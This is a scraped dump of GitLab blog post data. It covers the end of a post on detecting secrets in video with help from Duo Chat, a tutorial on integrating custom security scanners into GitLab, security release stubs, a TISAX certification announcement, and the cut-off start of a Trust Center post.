5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099431/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2024-02-28_at_9.51.14_AM_aHR0cHM6_1750099431144.png)\n>\n> The key steps are:\n> - Include TRE header\n> - Get tre regex_t from parameters\n> - Use tre_regcomp() to compile pattern\n> - Execute regexec()\n> - Handle TRE match results\n> - Return results back to JavaScript\n>\n> Let me know if this helps explain how to integrate TRE regex usage in a Node.js add-on!\n\n> Me: Ok, now let's add code for the tasks that you outlined in the template. I want to call this C++ from JavaScript like this:\n>\n>![video content scanners - image 6](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099431/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2024-02-28_at_9.53.05_AM_aHR0cHM6_1750099431145.png)\n>\n> In this example, the first parameter is the regular expression that should be used to create the parameter regex_t *preg, the second parameter is the string that should be matched against the regular expression, and the third parameter is an integer that represents TRE’s max_cost.\n\n>Duo: Here is example C++ code implementing TRE regex usage to match the provided JavaScript code snippet.\n>\n>![video content scanners - image 7](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099431/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2024-02-28_at_9.54.08_AM_aHR0cHM6_1750099431146.png)\n>\n> Let me know if you need any clarification on this implementation!\n\n> Me: Thank you for the code. Can you change the call tre_regexec to tre_regaexec?\n\n> Duo: Here is the code updated to use tre_regaexec instead of tre_regexec:\n>\n>![code updated to use tre_regaexec instead of tre_regexec](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099431/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2024-02-28_at_9.56.29_AM_aHR0cHM6_1750099431146.png)\n>\n> The key changes are:\n> - Using `tre_regaexec` instead of `tre_regexec`\n> - Initializing a `regamatch_t` instead of `regmatch_t`\n> - Passing a regaparams_t struct to configure match parameters\n> \n> Let me know if you need any clarification or have additional questions!\n\nWhile the code generation capabilities are very impressive and save a lot of time, the generated code needs review and sometimes correction. For example, in our session with Duo Chat it is prompted to call [tre_regaexec](https://laurikari.net/tre/documentation/regaexec/), but the generated code is calling the similarly named, but distinct function [tre_regexec](https://laurikari.net/tre/documentation/regexec/). Typically it is enough to make Duo Chat aware of its mistake and it will correct the code in question. In this respect, working with Duo Chat feels like pair programming rather than fully outsourcing a programming task.\n\nThe full add-on code is available [here](https://gitlab.com/gitlab-com/gl-security/security-research/video-scanner/tre-node-bindings/).\n\n## Try our open-source implementation\n\nWe are [making the implementation of the scanner open source](https://gitlab.com/gitlab-com/gl-security/security-research/video-scanner/youtube-video-scanner) under the MIT license. We hope this solution can help you with detecting secrets in your own video content. Please [share your feedback in an issue](https://gitlab.com/gitlab-com/gl-security/security-research/video-scanner/youtube-video-scanner/-/issues/new).",[696,958,14],{"slug":2347,"featured":92,"template":677},"how-to-detecting-secrets-in-video-content","content:en-us:blog:how-to-detecting-secrets-in-video.yml","How To Detecting Secrets In Video","en-us/blog/how-to-detecting-secrets-in-video.yml","en-us/blog/how-to-detecting-secrets-in-video",{"_path":2353,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2354,"content":2360,"config":2365,"_id":2367,"_type":16,"title":2368,"_source":17,"_file":2369,"_stem":2370,"_extension":20},"/en-us/blog/how-to-integrate-custom-security-scanners-into-gitlab",{"title":2355,"description":2356,"ogTitle":2355,"ogDescription":2356,"noIndex":6,"ogImage":2357,"ogUrl":2358,"ogSiteName":767,"ogType":768,"canonicalUrls":2358,"schema":2359},"How to integrate custom security scanners into GitLab","Learn how to extend the DevSecOps platform by adding custom security scanners to your workflows (includes an easy-to-follow tutorial).","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097082/Blog/Hero%20Images/Blog/Hero%20Images/securitycheck_securitycheck.png_1750097081856.png","https://about.gitlab.com/blog/how-to-integrate-custom-security-scanners-into-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to integrate custom security scanners into GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2024-02-27\",\n      }",{"title":2355,"description":2356,"authors":2361,"heroImage":2357,"date":2362,"body":2363,"category":14,"tags":2364},[856],"2024-02-27","GitLab, the most comprehensive DevSecOps platform, has everything you need to plan, manage, build, deploy, secure, govern, and monitor your applications. However, there are instances where you may want to extend GitLab with third-party or custom tools. For example, you might need to migrate to a DevSecOps platform from separate solutions, evaluate third-party tools, or integrate proprietary or custom-built solutions into GitLab.\n\nHere's what is covered:\n- [GitLab DevSecOps platform extensibility](#gitlab-devsecops-platform-extensibility)\n- [GitLab security scanner integration](#gitlab-security-scanner-integration)\n  - [Merge request security widget](#merge-request-security-widget)\n  - [Pipeline Security section](#pipeline-security-section)\n  - [Vulnerability Report](#vulnerability-report)\n  - [Vulnerability pages](#vulnerability-pages)\n  - [Security dashboard](#security-dashboard)\n  - [Scan Result Policy integration](#scan-result-policy-integration)\n- [Tutorial: Integrating custom security scanners](#tutorial-integrating-custom-security-scanners)\n  - [Creating a custom security scanner](#creating-a-custom-security-scanner)\n  - [Integrating a custom security scanner with GitLab](#integrating-a-custom-security-scanner-with-gitlab)\n\n## GitLab DevSecOps platform extensibility\n\nGitLab can be extended in many ways to support enhanced functionality that your organization may require. Some common examples of these integrations include:\n\n- external application integrations such as Jenkins and Slack\n- external issue tracking integrations such as Bugzilla and Jira\n- external authentication provider integrations such as LDAP and SAML\n- external security scanner integrations such as Fortify and Checkmarx\n- ability to respond to leaked secrets such as AWS and GCP access keys\n\nYou can see all the available integrations in the [Integrate with GitLab documentation](https://docs.gitlab.com/ee/integration/). (Note: Not all integrations are listed in the documentation.)\n\n## GitLab security scanner integration\n\n[Third-party security scanners](https://docs.gitlab.com/ee/integration/#security-improvements) or [custom-built security scanners](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration) can be integrated into GitLab to populate the merge request widget, Pipeline Security section, Vulnerability Report, vulnerability pages, Security dashboard, and Scan Result Policies. Let's review each integration.\n\n### Merge request security widget\n\nA merge request contains a security widget which displays a summary of the newly detected vulnerabilities.\n\n![integrating security scanners - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097088837.png)\n\n\u003Ccenter>\u003Ci>Merge request security widget\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nWhen you click on a vulnerability, you will see a popup that contains the following information:\n- status\n- description\n- project\n- file\n- identifiers\n- severity\n- tool\n- scanner provider\n\n![integrating security scanners - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097088838.png)\n\n\u003Ccenter>\u003Ci>Actionable vulnerabilities with details\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\nThese vulnerabilities are also actionable, which means that they can either be dismissed or a confidential issue can be created.\n\nThe results of a custom scanner can be used to populate the security widget. The vulnerability data is populated from the JSON schema the scanner emits.\n\n### Pipeline Security section\n\nAll enabled security analyzers run in the pipeline and output their results as artifacts. These artifacts are processed, including deduplication, and the results are listed on the Pipeline Security tab. From here, you can also download the resulting JSON files.\n\n![integrating security scanners - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750097088840.png)\n\n\u003Ccenter>\u003Ci>Pipeline Security tab\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nThe results of a custom scanner can be used to populate the Pipeline Security tab. The columns are filled in using the JSON schema the scanner emits.\n\n### Vulnerability Report\n\nThe Vulnerability Report provides information about vulnerabilities from scans of the default branch, including:\n\n- totals of vulnerabilities per severity level\n- filters for common vulnerability attributes\n- details of each vulnerability, presented in tabular layout\n\n![integrating security scanners - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097088842.png)\n\n\u003Ccenter>\u003Ci>Vulnerability Report\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nThe results of a custom scanner on the default branch can be used to populate the Vulnerability Report.\n\n### Vulnerability pages\n\nClicking on a vulnerability present within the Vulnerability Report takes you to its vulnerability page. Each vulnerability in a project has a vulnerability page that provides details such as:\n\n- description\n- when it was detected\n- current status\n- location detected\n- available actions\n- linked issues\n- actions log\n- solutions\n- identifier\n- training\n\nYou can use the data provided in the vulnerability page to triage a detected vulnerability as well as assist in its remediation.\n\n![integrating security scanners - image 5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097088844.png)\n\n\u003Ccenter>\u003Ci>Vulnerability page for secret detection vulnerability\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nThe results of a custom scanner can be used to populate the vulnerability page. The vulnerability data is populated from the JSON schema the scanner emits.\n\n### Security dashboard\n\nSecurity dashboards are used to assess the security posture of your applications. GitLab provides you with a collection of metrics, ratings, and charts for the vulnerabilities detected by the security scanners run on your project. The security dashboard provides data such as:\n\n- vulnerability trends over a 30-, 60-, or 90-day timeframe for all projects in a group\n- a letter grade rating for each project based on vulnerability severity\n- the total number of vulnerabilities detected within the last 365 days and their severity levels\n\n![integrating security scanners - image 6](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097088846.png)\n\n\u003Ccenter>\u003Ci>Group-level Security dashboard\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nFrom the group-level Security dashboard you can click on a project to access its specific Security dashboard, which provides the 365-day view.\n\n![integrating security scanners - image 7](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097088847.png)\n\n\u003Ccenter>\u003Ci>Project-level Security dashboard\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n### Scan Result Policy integration\n\nScan Result Policies are used to require approval based on the findings of one or more security scan jobs. This can prevent insecure code from being merged to production. Scan Result Policies are evaluated after a CI scanning job is fully executed, where policies are evaluated based on the job artifact reports that are published in the completed pipeline.\n\nFor example, you can create a Scan Result Policy that requires approval from project maintainers if a secret detection scanner finds any vulnerabilities. Here's how:\n\n1. On the left sidebar, select **Search or go to** and search for the project you wish to add a policy to.\n2. On the project left sidebar, go to **Secure > Policies**\n3. Select **New policy**\n4. In the **Scan result policy** section, select **Select policy**.\n5. Complete the fields:\n- Name: The name of the Policy\n- Description: The description of the Policy\n- Policy status: Whether it is enabled or not\n- Rules: The conditions that must be met for an action (require approval) to take place\n\n![integrating security scanners - image 8](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097088849.png)\n\u003Ccenter>\u003Ci>Scan Result Policy rules\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n- Actions: The action to be taken whenever the conditions in the rules (defined vulnerabilities/licenses detected) are met\n\n![integrating security scanners - image 9](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750097088850.png)\n\n\u003Ccenter>\u003Ci>Scan Result Policy actions\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n- Override project approval settings: If selected, the following choices will overwrite project settings but only affect the branches selected in the policy\n\n![integrating security scanners - image 11](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097088851.png)\n\n \u003Ccenter>\u003Ci>Scan Result Policy approval settings\u003C/i>\u003C/center>\n \u003Cp>\u003C/p>\n\n6. Press the \"Configure with a merge request\" button.\n\nOnce the Scan Result Policy has been merged, whenever you create a merge request and the criteria defined in the rules are met, then the defined action will be triggered. In this case, at least one approval will be required from a maintainer before the code can be merged.\n\n![integrated security scanner - image 10](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750097088852.png)\n\n\u003Ccenter>\u003Ci>Blocked merge request due to detected vulnerabilities\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nThe results of a custom scanner can be fully integrated with Scan Result Policies. If the custom scanner detects a vulnerability, then approval will be required before the code can be merged. The scanner you select in a Scan Result Policy must be leveraging the appropriate JSON schema.\n\n## Tutorial: Integrating custom security scanners\n\nNow let’s get to the fun part – integrating a custom security scanner. In this tutorial, you will learn how to create a custom security scanner, as well as how to integrate it with GitLab. We will be leveraging the following projects:\n\n- [Fern Pattern Scanner](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration/fern-pattern-scanner): Scans your files looking for specific patterns such as passwords, private keys, and social security numbers.\n- [Secret list](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration/secret-list): Contains a list of user passwords, clients, and keys. This project is used to showcase how a custom security scanner can be integrated into GitLab.\n\nYou can watch the following video to see how the application was created and how it is used in detail:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/timMbl5SP-w?si=R2DKtZ5MmBR1rQFL\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Creating a custom security scanner\n\nNow let’s create a custom scanner that can be integrated into GitLab. Before a custom scanner can be fully integrated with GitLab, the scanner must:\n- scan a directory for defined patterns\n- emit a JSON following the appropriate schema\n- be containerized and accessible\n- provide a template to allow it to be run on another project\n\nWhen the [Fern Pattern scanner](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration/fern-pattern-scanner) is run on a project using the provided template, it performs the following steps:\n1. Loads a set of rules which define patterns (regex) to detect.\n- Allow rules to be configurable to meet the changing needs of your organization.\n2. Scans files for defined patterns.\n3. Emits a JSON report following the Secret Detection schema.\n- Go templates are used in this project to create a JSON.\n- Depending on what your scanner will look for, make sure you use the appropriate schema.\n\nOnce the JSON report is loaded as an artifact into GitLab, it will populate the merge request widget, Vulnerability Report, vulnerability pages, Scan Result Policies, and Security dashboards as defined above.\n\n### Integrating a custom security scanner with GitLab\n\nOnce you have created your custom scanner that meets all the needs for integration, you can run it on GitLab.\n\nRunning a custom scanner is as easy as adding a template. We can see how the Fern Pattern scanner template is loaded by examining the `.gitlab-ci.yml` in the [Secret List](https://gitlab.com/gitlab-da/tutorials/security-and-governance/custom-scanner-integration/secret-list) project.\n\n1. Create a [.gitlab-ci.yml file](https://docs.gitlab.com/ee/ci/quick_start/#create-a-gitlab-ciyml-file) in the project you want the scanner to run on.\n2. Include the [Custom Scanner template](https://docs.gitlab.com/ee/ci/yaml/includes.html).\n    - You should also be able to configure the template with environment variables.\n3. Commit the file to the main branch.\n\nOnce the file has been committed, you can see that the custom scanner will run in your pipeline. Once the pipeline is complete, the scanner will populate all the areas defined above in the [GitLab security scanner integration](#gitlab-security-scanner-integration) section.\n\n## Read more\n\nCheck out these resources to learn more about GitLab and the other ways you can extend your DevSecOps platform:\n\n- [Security Scanner GitLab Integration](https://docs.gitlab.com/ee/development/integrations/secure.html)\n- [GitLab Partner Integrations](https://docs.gitlab.com/ee/integration/)\n- [Custom Security Scanner Projects Group](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration)\n- [Automatic Response to a Secret Leak](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html)\n",[696,14,2093,479],{"slug":2366,"featured":92,"template":677},"how-to-integrate-custom-security-scanners-into-gitlab","content:en-us:blog:how-to-integrate-custom-security-scanners-into-gitlab.yml","How To Integrate Custom Security Scanners Into Gitlab","en-us/blog/how-to-integrate-custom-security-scanners-into-gitlab.yml","en-us/blog/how-to-integrate-custom-security-scanners-into-gitlab",{"_path":2372,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2373,"content":2379,"config":2384,"_id":2387,"_type":16,"title":2388,"_source":17,"_file":2389,"_stem":2390,"_extension":20},"/en-us/blog/gitlab-security-release-16-9-1-16-8-3-16-7-6",{"title":2374,"description":2375,"ogTitle":2374,"ogDescription":2375,"config":2376,"ogImage":1381,"ogUrl":2377,"ogSiteName":767,"ogType":768,"canonicalUrls":2377,"schema":2378},"GitLab Security Release: 16.9.1, 16.8.3, 16.7.6","Learn more about GitLab Security Release: 16.9.1, 16.8.3, 16.7.6 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-security-release-16-9-1-16-8-3-16-7-6","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Security Release: 16.9.1, 16.8.3, 16.7.6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nikhil George\"}],\n        \"datePublished\": \"2024-02-21\",\n      }",{"title":2374,"description":2375,"authors":2380,"heroImage":1381,"date":2381,"body":2382,"category":14,"tags":2383},[1569],"2024-02-21","[GitLab Security Release: 16.9.1, 16.8.3, 16.7.6](https://about.gitlab.com/releases/2024/02/21/security-release-gitlab-16-9-1-released/)",[1292,14,479],{"slug":2385,"featured":6,"template":677,"externalUrl":2386},"gitlab-security-release-16-9-1-16-8-3-16-7-6","https://about.gitlab.com/releases/2024/02/21/security-release-gitlab-16-9-1-released/","content:en-us:blog:gitlab-security-release-16-9-1-16-8-3-16-7-6.yml","Gitlab Security Release 16 9 1 16 8 3 16 7 6","en-us/blog/gitlab-security-release-16-9-1-16-8-3-16-7-6.yml","en-us/blog/gitlab-security-release-16-9-1-16-8-3-16-7-6",{"_path":2392,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2393,"content":2399,"config":2404,"_id":2407,"_type":16,"title":2408,"_source":17,"_file":2409,"_stem":2410,"_extension":20},"/en-us/blog/gitlab-security-release-16-8-2-16-7-5-16-6-7",{"title":2394,"description":2395,"ogTitle":2394,"ogDescription":2395,"config":2396,"ogImage":1381,"ogUrl":2397,"ogSiteName":767,"ogType":768,"canonicalUrls":2397,"schema":2398},"GitLab Security Release: 16.8.2, 16.7.5, 16.6.7","Learn more about GitLab Security Release: 16.8.2, 16.7.5, 16.6.7 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-security-release-16-8-2-16-7-5-16-6-7","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Security Release: 16.8.2, 16.7.5, 16.6.7\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ottilia Westerlund\"}],\n        \"datePublished\": \"2024-02-07\",\n      }",{"title":2394,"description":2395,"authors":2400,"heroImage":1381,"date":2401,"body":2402,"category":14,"tags":2403},[1345],"2024-02-07","[GitLab Security Release: 16.8.2, 16.7.5, 16.6.7](https://about.gitlab.com/releases/2024/02/07/security-release-gitlab-16-8-2-released/)",[14,1292],{"slug":2405,"featured":6,"template":677,"externalUrl":2406},"gitlab-security-release-16-8-2-16-7-5-16-6-7","https://about.gitlab.com/releases/2024/02/07/security-release-gitlab-16-8-2-released/","content:en-us:blog:gitlab-security-release-16-8-2-16-7-5-16-6-7.yml","Gitlab Security Release 16 8 2 16 7 5 16 6 7","en-us/blog/gitlab-security-release-16-8-2-16-7-5-16-6-7.yml","en-us/blog/gitlab-security-release-16-8-2-16-7-5-16-6-7",{"_path":2412,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2413,"content":2419,"config":2428,"_id":2430,"_type":16,"title":2431,"_source":17,"_file":2432,"_stem":2433,"_extension":20},"/en-us/blog/gitlab-drives-automotive-industry-information-security-with-tisax",{"title":2414,"description":2415,"ogTitle":2414,"ogDescription":2415,"noIndex":6,"ogImage":2416,"ogUrl":2417,"ogSiteName":767,"ogType":768,"canonicalUrls":2417,"schema":2418},"GitLab secures automotive industry with TISAX certification","Learn why we pursued this certification and how it will help GitLab customers in the automotive industry.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659703/Blog/Hero%20Images/AdobeStock_577940357.jpg","https://about.gitlab.com/blog/gitlab-drives-automotive-industry-information-security-with-tisax","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab drives automotive industry information security with TISAX certification\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Liz Coleman\"}],\n        \"datePublished\": \"2024-01-30\",\n      }",{"title":2420,"description":2415,"authors":2421,"heroImage":2416,"date":2423,"body":2424,"category":14,"tags":2425},"GitLab drives automotive industry information security with TISAX certification",[2422],"Liz Coleman","2024-01-30","The automotive industry is faced with unique challenges in today's digital age. Cars are no longer just modes of transportation; they also provide entertainment options, computer-like functionality, location tracking, WiFi, and the like. As such, the automotive industry is tasked with the same challenges as other industries, including ensuring data security, agile collaboration, and streamlined development processes. And GitLab is here to help as a Trusted Information Security Assessment Exchange (TISAX) certified organization.\n\nHere at GitLab, [Results for Customers](https://handbook.gitlab.com/handbook/values/#results) is a core value and we  “exist to help customers achieve more.\" [Our customers requested](https://gitlab.com/gitlab-com/gl-security/security-assurance/governance-and-field-security/field-security-team/customer-assurance-activities/requests-from-the-field/-/issues/13) that we pursue the TISAX certification, which is an industry standard for the European automotive industry.\n\n## What is TISAX?\n\nTISAX is an assessment and exchange mechanism that provides the proof customers need that a company complies with requirements outlined in the Information Security Assessment ([ISA](https://portal.enx.com/handbook/)). General ISA coverage categories include:\n\n- Assessment Level 1: ISA questionnaire and published self-assessment\n- Assessment Level 2: ISA questionnaire, published self-assessment and third-party review and certification from an approved third party provider\n- Assessment Level 3: ISA questionnaire, published self-assessment and third-party review and certification from an approved third party provider via an on-site inspection\n\nThere are also [objective categories](https://portal.enx.com/handbook/#ID4281) within each assessment level such as:\n\n- Info high: Assessment Level (AL)2\n- Info very high: AL3\n- Data: AL2\n- Special Data: AL3\n\nAs GitLab is [all remote](https://handbook.gitlab.com/handbook/company/culture/all-remote/), AL2 was the highest level applicable to our organization. \n\n## How is TISAX applicable to GitLab’s DevSecOps platform?\n\nGitLab is committed to maintaining and expanding security certifications and attestations to support information security. Our [mission](https://handbook.gitlab.com/handbook/company/mission/) is to make it so that everyone can contribute. TISAX was an applicable certification expansion as the initial inquiries were received from new and existing customers (contributions!). There was strong alignment with our existing [security certifications and attestations](https://trust.gitlab.com/) and our commitment to information security via our [Information Security Management System](https://handbook.gitlab.com/handbook/security/isms/) (ISMS). The scope of our ISMS includes customer data, software, people, and internal information assets to host, operate and support GitLab SaaS subscriptions: GitLab.com and GitLab Dedicated.\n\nThrough the ISMS, we look at various aspects of our DevSecOps platform to provide a high level of assurance that our information security policies, standards and procedures, operations, and performance align with customer challenges to deliver software faster, built-in security, regulatory compliance, and much more.\n\nWith our TISAX Assessment Level 2 - High availability and protection certification, we have demonstrated our unwavering commitment to providing our automotive customers with a secure, reliable, and efficient DevSecOps platform.\n\n> Please [contact our sales team today](https://about.gitlab.com/sales/) to learn more and to get started with GitLab today.",[14,798,2426,2427],"customers","embedded DevOps",{"slug":2429,"featured":6,"template":677},"gitlab-drives-automotive-industry-information-security-with-tisax","content:en-us:blog:gitlab-drives-automotive-industry-information-security-with-tisax.yml","Gitlab Drives Automotive Industry Information Security With Tisax","en-us/blog/gitlab-drives-automotive-industry-information-security-with-tisax.yml","en-us/blog/gitlab-drives-automotive-industry-information-security-with-tisax",{"_path":2435,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2436,"content":2442,"config":2447,"_id":2450,"_type":16,"title":2451,"_source":17,"_file":2452,"_stem":2453,"_extension":20},"/en-us/blog/gitlab-critical-security-release-16-8-1-16-7-4-16-6-6-16-5-8",{"title":2437,"description":2438,"ogTitle":2437,"ogDescription":2438,"config":2439,"ogImage":1381,"ogUrl":2440,"ogSiteName":767,"ogType":768,"canonicalUrls":2440,"schema":2441},"GitLab Critical Security Release: 16.8.1, 16.7.4, 16.6.6, 16.5.8","Learn more about GitLab Critical Security Release: 16.8.1, 16.7.4, 16.6.6, 16.5.8 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-critical-security-release-16-8-1-16-7-4-16-6-6-16-5-8","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Critical Security Release: 16.8.1, 16.7.4, 16.6.6, 16.5.8\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Greg Myers\"}],\n        \"datePublished\": \"2024-01-25\",\n      }",{"title":2437,"description":2438,"authors":2443,"heroImage":1381,"date":2444,"body":2445,"category":14,"tags":2446},[1467],"2024-01-25","Security release can be found here: https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/",[1292,14],{"slug":2448,"featured":6,"template":677,"externalUrl":2449},"gitlab-critical-security-release-16-8-1-16-7-4-16-6-6-16-5-8","https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/","content:en-us:blog:gitlab-critical-security-release-16-8-1-16-7-4-16-6-6-16-5-8.yml","Gitlab Critical Security Release 16 8 1 16 7 4 16 6 6 16 5 8","en-us/blog/gitlab-critical-security-release-16-8-1-16-7-4-16-6-6-16-5-8.yml","en-us/blog/gitlab-critical-security-release-16-8-1-16-7-4-16-6-6-16-5-8",{"_path":2455,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2456,"content":2462,"config":2467,"_id":2470,"_type":16,"title":2471,"_source":17,"_file":2472,"_stem":2473,"_extension":20},"/en-us/blog/gitlab-critical-security-release-16-7-2-16-6-4-16-5-6",{"title":2457,"description":2458,"ogTitle":2457,"ogDescription":2458,"config":2459,"ogImage":1381,"ogUrl":2460,"ogSiteName":767,"ogType":768,"canonicalUrls":2460,"schema":2461},"GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6","Learn more about GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-critical-security-release-16-7-2-16-6-4-16-5-6","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Security Team\"}],\n        \"datePublished\": \"2024-01-11\",\n      }",{"title":2457,"description":2458,"authors":2463,"heroImage":1381,"date":2465,"body":2458,"category":14,"tags":2466},[2464],"GitLab Security Team","2024-01-11",[14,1292],{"slug":2468,"featured":6,"template":677,"externalUrl":2469},"gitlab-critical-security-release-16-7-2-16-6-4-16-5-6","https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/","content:en-us:blog:gitlab-critical-security-release-16-7-2-16-6-4-16-5-6.yml","Gitlab Critical Security Release 16 7 2 16 6 4 16 5 6","en-us/blog/gitlab-critical-security-release-16-7-2-16-6-4-16-5-6.yml","en-us/blog/gitlab-critical-security-release-16-7-2-16-6-4-16-5-6",{"_path":2475,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2476,"content":2482,"config":2487,"_id":2489,"_type":16,"title":2490,"_source":17,"_file":2491,"_stem":2492,"_extension":20},"/en-us/blog/gitlab-trust-center-welcome-to-self-service-customer-assurance",{"title":2477,"description":2478,"ogTitle":2477,"ogDescription":2478,"noIndex":6,"ogImage":2479,"ogUrl":2480,"ogSiteName":767,"ogType":768,"canonicalUrls":2480,"schema":2481},"GitLab Trust Center: Welcome to self-service customer assurance","The single, unified trust center provides access to security and privacy collateral, streamlined questionnaire submissions, an interactive knowledge base, and GitLab updates.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099558/Blog/Hero%20Images/Blog/Hero%20Images/gitlabflatlogomap_gitlabflatlogomap.png_1750099558369.png","https://about.gitlab.com/blog/gitlab-trust-center-welcome-to-self-service-customer-assurance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Trust Center: Welcome to self-service customer assurance\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2024-01-09\",\n      }",{"title":2477,"description":2478,"authors":2483,"heroImage":2479,"date":2484,"body":2485,"category":14,"tags":2486},[772],"2024-01-09","GitLab, the most comprehensive AI-powered DevSecOps platform, exhibits unity, simplicity, and efficiency. To effectively represent GitLab and support our customers, we created the [GitLab Trust Center](https://trust.gitlab.com), a centralized, interactive, information portal that exhibits the same characteristics.\n\nThe GitLab Trust Center is powered by [SafeBase](http://safebase.io/), which allows us to maintain a single, unified location for communicating our compliance and assurance credentials, hosting our security and privacy documentation for customer consumption, sharing important notices such as responses to third-party breaches, and hosting our internal knowledge base where customers can readily access the same answers we provide in questionnaire responses. The GitLab Trust Center includes a portal for both GitLab.com and GitLab Dedicated.\n\n## Creating the GitLab Trust Center\n\nWhen I joined GitLab in 2022, a single, unified trust center did not exist. We maintained two distinct pages, our \"Trust Center\" page, which primarily highlighted our compliance and assurance credentials, and our Customer Assurance Package (CAP) page, which allowed the community to preview the different CAPs we maintained, review the documents contained within each package, and download/request each package.\n\nWhile these pages allowed us to support our customers' requests, they could be difficult to find and were supported by manual processes to triage inbound requests for security documentation, questionnaires, and other miscellaneous security and privacy requests. We needed to redefine our processes and deploy a trust center that represented GitLab.\n\n![trust center screenshot](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099566/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099566270.png)\n\n## The benefits of the GitLab Trust Center\n\nLet's dive into the biggest 